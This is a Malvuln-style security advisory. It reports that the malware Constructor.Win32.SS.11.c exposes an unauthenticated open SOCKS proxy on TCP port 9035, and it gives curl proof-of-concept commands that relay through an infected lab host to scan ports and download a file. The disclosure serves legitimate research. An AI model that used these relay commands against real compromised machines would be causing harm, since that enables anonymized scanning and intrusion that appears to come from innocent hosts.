Constructor.Win32.SS.11.c / Unauthenticated Open Proxy

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/da60b92742abff72930879fa8560b3c3.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Constructor.Win32.SS.11.c
Vulnerability: Unauthenticated Open Proxy
Description: The malware listens on TCP port 9035. Third-party attackers who can connect to the infected system can relay requests from the original connection to the destination and then back to the origination system. Attackers may then be able to launch attacks, download files or port scan third party systems and it will appear as the attacks originated from that infected host.
Type: PE32
MD5: da60b92742abff72930879fa8560b3c3
Vuln ID: MVID-2021-0311
Disclosure: 08/05/2021


Exploit/PoC:
Scan Ports)

curl  -x socks4://192.168.18.129:9035 http://192.168.18.128:21
220 INetSim FTP Service ready.
500 Unknown command.

curl  -x socks4://192.168.18.129:9035 http://192.168.18.128:110
+OK INetSim POP3 Server ready <15233.1627604509@pop3host>
-ERR Unknown command.

Download filez)

curl  -x socks4://192.168.18.129:9035  http://192.168.18.128/DOOM.exe --out DOOM.exe
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  101k  100  101k    0     0   101k      0  0:00:01 --:--:--  0:00:01 1604k

192.168.18.129 - - [29/Jul/2021 20:22:43] "GET /DOOM.exe HTTP/1.1" 200 -
Request made by 192.168.18.130


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